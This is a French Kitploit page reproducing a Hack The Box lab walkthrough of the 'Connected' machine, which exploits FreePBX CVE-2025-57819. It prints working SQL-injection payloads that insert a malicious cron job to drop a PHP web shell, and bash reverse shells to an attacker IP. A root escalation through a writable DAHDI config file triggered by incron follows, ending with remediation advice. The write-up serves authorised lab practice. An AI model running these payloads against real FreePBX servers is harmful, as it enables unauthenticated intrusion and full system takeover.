Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
Escalade de PrivilègesAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

Cette procédure pas à pas documente le compromis complet de la machine HTB Connected.

Voir le dépôt
1il y a 20 joursPas encore vérifié

FreePBX : De l'injection SQL non authentifiée au shell root

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 Résumé Exécutif

Ce walkthrough documente le compromis complet de la machine HTB Connected.

La chaîne d'attaque commence par une injection SQL non authentifiée dans FreePBX, qui est exploitée pour obtenir l'exécution de code en tant qu'utilisateur asterisk via une tâche cron malveillante. Un fichier de configuration inscriptible combiné à un déclencheur incron permet ensuite l'élévation de privilèges vers root.

Ce cas démontre comment les vulnérabilités des applications web, lorsqu'elles sont combinées à des permissions locales faibles et à une automatisation privilégiée non sécurisée, peuvent conduire à un compromis complet du système.


🔍 Étape 1 – Énumération et découverte d'hôtes virtuels

Un scan de ports rapide révèle les ports ouverts de la cible :

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
PortService
22SSH
80HTTP
443HTTPS

Une inspection plus approfondie montre un serveur Apache exécutant PHP 7.4, avec une redirection HTTP vers :

root@kitploit:~
http://connected.htb/

Pour accéder correctement au site, ajoutez le mappage d'hôte virtuel :

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

La navigation vers http://connected.htb/ révèle :

root@kitploit:~
FreePBX 16.0.40.7

🕳️ Étape 2 – Exploitation de CVE-2025-57819 (Injection SQL)

La recherche identifie CVE-2025-57819, une vulnérabilité d'injection SQL basée sur les erreurs, non authentifiée, dans le composant Endpoint Manager de FreePBX.

Confirmez la vulnérabilité en extrayant l'utilisateur de la base de données :

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

La réponse contient :

root@kitploit:~
~USER:freepbxuser@localhost~

Cela confirme que l'injection SQL fonctionne et que l'application se connecte à MySQL en tant que :

root@kitploit:~
freepbxuser@localhost

⚙️ Étape 3 – Obtention de l'exécution de code via des tâches planifiées

FreePBX stocke les tâches planifiées dans la table cron_jobs.

En injectant une entrée malveillante dans cette table, des commandes arbitraires peuvent être planifiées pour exécution.

La charge utile suivante crée un shell web PHP dans la racine web :

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

Le serveur renvoie une erreur générique 500, mais l'instruction SQL s'exécute avec succès.

Après environ une minute, vérifiez que le shell web a été créé :

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

Sortie :

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Nous avons maintenant l'exécution de commandes en tant qu'utilisateur asterisk via des requêtes HTTP.


💻 Étape 4 – Établissement d'un shell inversé interactif

Démarrez un écouteur Netcat sur la machine attaquante :

root@kitploit:~
nc -lvnp 4444

Déclenchez un shell inversé Bash via le shell web :

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

Une connexion est établie :

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

Nous avons maintenant un shell interactif en tant qu'utilisateur asterisk.


🔎 Étape 5 – Énumération locale et chemin d'élévation de privilèges

Recherchez les fichiers inscriptibles sous /etc, en excluant les faux positifs connus :

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

Un résultat notable est :

root@kitploit:~
/etc/dahdi/init.conf

Ensuite, examinez la configuration incron :

root@kitploit:~
cat /etc/incron.d/*

Cela révèle le surveillant de système de fichiers suivant :

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Cela signifie que chaque fois que le fichier sentinelle :

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

est écrit, le script suivant est exécuté :

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

L'inspection du script révèle qu'il source :

root@kitploit:~
/etc/dahdi/init.conf

Puisque /etc/dahdi/init.conf est inscriptible par l'utilisateur asterisk et est sourcé par un processus root, cela fournit un chemin vers l'exécution de commandes arbitraires en tant que root.


🚀 Étape 6 – Élévation vers root via DAHDI

Démarrez un second écouteur Netcat sur le port 4445 :

root@kitploit:~
nc -lvnp 4445

Depuis le shell asterisk, ajoutez une charge utile de shell inversé au fichier de configuration inscriptible :

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

Déclenchez l'action incron en écrivant dans le fichier surveillé :

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

En quelques secondes, le shell root se connecte :

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 Accès root complet obtenu !


🏁 Étape 7 – Capture des flags

Flag utilisateur

root@kitploit:~
cat /home/asterisk/user.txt

Sortie :

root@kitploit:~
HTB{...user_flag...}

Flag root

root@kitploit:~
cat /root/root.txt

Sortie :

root@kitploit:~
HTB{...root_flag...}

📚 Résumé de la chaîne d'attaque

root@kitploit:~
Injection SQL non authentifiée
            │
            ▼
     Exécution de requête MySQL
            │
            ▼
   Insertion d'une tâche cron malveillante
            │
            ▼
      Shell web PHP
            │
            ▼
      Shell asterisk
            │
            ▼
 /etc/dahdi/init.conf inscriptible
            │
            ▼
       Déclencheur incron
            │
            ▼
      Exécution de commande root
            │
            ▼
          root

📊 Leçons apprises

VulnérabilitéImpact
Injection SQL non authentifiéeA exposé le contexte de l'utilisateur de la base et a fourni un point d'appui pour écrire des données malveillantes
Injection de tâche cronA permis l'exécution de code à distance en tant que compte de service à faibles privilèges

🔐 Recommandations

1. Valider les entrées utilisateur

Utilisez des requêtes paramétrées et une validation stricte des entrées pour toutes les opérations de base de données.

Ne concaténez jamais directement les entrées contrôlées par l'utilisateur dans des requêtes SQL.

2. Restreindre les permissions des fichiers de configuration

Les fichiers de configuration consommés par les services privilégiés ne doivent pas être inscriptibles par des comptes de service à faibles privilèges.

En particulier, examinez les permissions des fichiers sous :

root@kitploit:~
/etc/

3. Examiner les tâches cron et incron

Auditez régulièrement les tâches planifiées et les surveillants de système de fichiers.

Les tâches privilégiées ne doivent pas exécuter de commandes basées sur des fichiers que des utilisateurs non fiables peuvent modifier.

4. Éviter de sourcer des configurations non fiables

Les scripts appartenant à root doivent éviter de sourcer des fichiers de configuration qui peuvent être modifiés par des utilisateurs non privilégiés.

5. Appliquer le moindre privilège

Les applications web et les services doivent s'exécuter avec les permissions minimales requises pour leur fonctionnement.

Réduire les privilèges de l'environnement FreePBX/Apache peut considérablement limiter l'impact d'un compromis réussi de l'application.


🏆 Chaîne d'attaque finale

root@kitploit:~
CVE-2025-57819
      │
      ▼
Injection SQL non authentifiée
      │
      ▼
Manipulation de la table cron_jobs
      │
      ▼
Shell web PHP planifié
      │
      ▼
Utilisateur asterisk
      │
      ▼
/etc/dahdi/init.conf inscriptible
      │
      ▼
Surveillant de fichiers incron
      │
      ▼
Script DAHDI privilégié
      │
      ▼
Shell root
      │
      ▼
🏆 Compromis complet du système

Avertissement : Ce write-up est destiné à des fins éducatives et à des tests de sécurité autorisés, tels que les laboratoires Hack The Box et les environnements contrôlés.

Télécharger l’outil
Fichier de configuration inscriptible + incronA permis l'élévation directe de privilèges vers root
Script privilégié sourçant un fichier inscriptible par l'utilisateurA permis l'exécution de commandes arbitraires avec les privilèges root